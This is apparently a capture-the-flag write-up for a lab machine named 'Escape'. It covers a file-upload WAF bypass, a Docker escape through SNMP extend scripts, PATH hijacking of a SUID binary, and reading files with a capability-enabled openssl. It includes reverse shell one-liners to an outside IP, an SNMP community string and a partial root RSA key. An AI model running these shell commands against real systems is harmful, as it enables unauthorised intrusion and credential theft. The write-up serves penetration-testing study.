Escape

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 -Pn 192.168.157.113
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 16:01 +08
Nmap scan report for 192.168.157.113
Host is up (0.18s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Web Enumeration -> File Upload

Visiting both the websites shows nothing. The page source just shows this:

<html>
<head>

<style type="text/css">
 <!--
 body {
  background-image: url(jail.jpg);
 }
 ->
</style>

<title>Escape</title>
</head>
<body>
</body>
</html>

I ran a feroxbuster on both, and found a /dev endpoint on port 8080.

$ feroxbuster -u http://192.168.157.113:8080
[>-------------------] - 2s        89/30000   42/s    http://192.168.157.113:8080/dev 
[--------------------] - 0s         0/30000   0/s     http://192.168.157.113:8080/dev/uploads

This was a PHP page, so uploading PHP reverse shells is the priority, and there's a pretty good WAF. I tested loads of method of bypassing it, and this machine requires a combination of quite a few.

  • File Header Spoofing

  • Double File Extension

  • Content-Type Spoofing

We can get a reverse shell by loading the uploaded file:

Privilege Escalation

SNMP -> Docker Escape

We spawned in a Docker container. The /var/backups folder contained a .conf file for SNMP:

www-data@a7c367c2113d:/var/backups$ ls -la
total 20
drwxr-xr-x 1 root root 4096 Dec 21  2020 .
drwxr-xr-x 1 root root 4096 Nov 18  2020 ..
-rwxr--r-- 1 root root 7340 Dec  9  2020 .snmpd.conf

Here are the interesting bits:

###############################################################################
#
#  ACCESS CONTROL
#

                                                 #  system + hrSystem groups only
view   systemonly  included   .1.3.6.1.2.1.1
view   systemonly  included   .1.3.6.1.2.1.25.1

                                                 #  Full access from the local host
#rocommunity public  localhost
                                                 #  Default access to basic system info
 rocommunity public  default    -V systemonly
                                                 #  rocommunity6 is for IPv6
 rocommunity6 public  default   -V systemonly

 rocommunity 53cur3M0NiT0riNg
 
<TRUNCATED>
 extend    test1   /bin/echo  Hello, world!
 extend-sh test2   echo Hello, world! ; echo Hi there ; exit 35
 extend-sh test3   /bin/sh /tmp/shtest
<TRUNCATED>

Firstly, we have the password string required. Next, we have some sort of script execution within the machine. We can put a reverse shell there instead.

#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.227 21 >/tmp/f

Then, transfer this using curl and chmod 777 it. To execute the shell, run this:

$ snmpbulkwalk -c 53cur3M0NiT0riNg -v2c 192.168.157.113 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

LogRotate SUID -> PATH Hijack

I checked for SUID binaries present within this machine:

Debian-snmp@escape:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/logconsole

logconsole was the one I didn't recognise.

Debian-snmp@escape:/$ file /usr/bin/logconsole                                               
/usr/bin/logconsole: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d3102ed1d950486fed01c5ad8915511a12aea52d, for GNU/Linux 3.2.0, not stripped                                             
Debian-snmp@escape:/$ /usr/bin/logconsole --version                                          
                                                                                             
                                                                                             
 /$$                                                                       /$$               
| $$                                                                      | $$               
| $$  /$$$$$$   /$$$$$$   /$$$$$$$  /$$$$$$  /$$$$$$$   /$$$$$$$  /$$$$$$ | $$  /$$$$$$      
| $$ /$$__  $$ /$$__  $$ /$$_____/ /$$__  $$| $$__  $$ /$$_____/ /$$__  $$| $$ /$$__  $$     
| $$| $$  \ $$| $$  \ $$| $$      | $$  \ $$| $$  \ $$|  $$$$$$ | $$  \ $$| $$| $$$$$$$$     
| $$| $$  | $$| $$  | $$| $$      | $$  | $$| $$  | $$ \____  $$| $$  | $$| $$| $$_____/     
| $$|  $$$$$$/|  $$$$$$$|  $$$$$$$|  $$$$$$/| $$  | $$ /$$$$$$$/|  $$$$$$/| $$|  $$$$$$$     
|__/ \______/  \____  $$ \_______/ \______/ |__/  |__/|_______/  \______/ |__/ \_______/     
               /$$  \ $$                                                                     
              |  $$$$$$/                                                                     
               \______/                                                                      
                                                                                             
                                                                                                                                                                                          
1. About the Sytem                                                                           
2. Current Process Status                                                                    
3. List all the Users Logged in and out                                                      
4. Quick summary of User Logged in                                                           
5. IP Routing Table                                                                          
6. CPU Information                                                                           
7. To Exit                                                                                   
99. Generate the Report                                                                      
                                                                                             
Enter the option ==> 

It seems like a custom binary. As such, I ran it through ltrace to see what it was executing with each option.

__isoc99_scanf(0x56520b53f5c6, 0x7ffe428ae678, 0x7f317a52b8c0, 02                            
) = 1                                                                                        
printf("\033[0m")                                = 4                                         
putchar(10, 0x7ffe428abfd0, 0x56520b53f650, 0
)   = 10
system("/bin/ps aux"USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.8 159660  8976 ?        Ss   03:58   0:01 /sbin/init

it's executing system calls for each option. When I checked the last option, it runs lscpu without the full path:

__isoc99_scanf(0x56520b53f5c6, 0x7ffe428ae678, 0x7f317a52b8c0, 06                            
) = 1                                                                                        
printf("\033[0m")                                = 4                                         
putchar(10, 0x7ffe428abfd0, 0x56520b53f650, 0
)   = 10
system("lscpu"Architecture:        x86_64

This means we can create our own lscpu binary to run.

$ cat lscpu 
bash -c 'bash -i >& /dev/tcp/192.168.45.227/443 0>&1'

Then, place this within /tmp and chmod 777 it. Afterwards, change the PATH variable and run the logconsole binary to check for CPU information.

export PATH=/tmp:$PATH

OpenSSL -> File Read

Within the /opt directory, there's an openssl binary that only tom can execute:

tom@escape:/opt/cert$ ls -la
total 724
drwxr-xr-x 2 root root   4096 Dec  9  2020 .
drwxr-xr-x 4 root root   4096 Dec  9  2020 ..
-rwx------ 1 root root   1245 Dec  9  2020 certificate.pem
-rwx------ 1 root root   1704 Dec  9  2020 key.pem
-rwxr-x--- 1 tom  tom  723944 Dec  9  2020 openssl

We are also given some certs and keys. I first checked this openssl binary using getcap, finding that it has all capabilities enabled, meaning that we can read any file:

tom@escape:/dev/shm$ getcap /opt/cert/openssl
/opt/cert/openssl =ep

We can then use this to read the private SSH key of root:

tom@escape:/dev/shm$ /opt/cert/openssl enc -in "/root/.ssh/id_rsa"
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwwvvVIS3//uz+Mpg24l51p48akveZgI8bDQDun7y9BKhRDWg
GzIzCpt7NcVWVN2llo9KOL3c3EZZxGOaTbzpINZxSWj3/WWBYhNqmKQRsgJzbPv2
kOe/XwWw8Bt9TuFAd7GUbylpbyHOES7siXFUd/XP503ehllp/JFp0G+2YPkYPGbi
0EISJcNFPNnRlXIQs3Fte0QqFiPE9nPycSMqvGz8a9OtaPGlmOZ3wP56jxxIBT0I
SrkfuLGw7b9VN05jJ33EMtDGRyyDLljFXv7t5OktkC0omumXyWG2KRRe3Avn4RMI
<TRUNCATED>

Last updated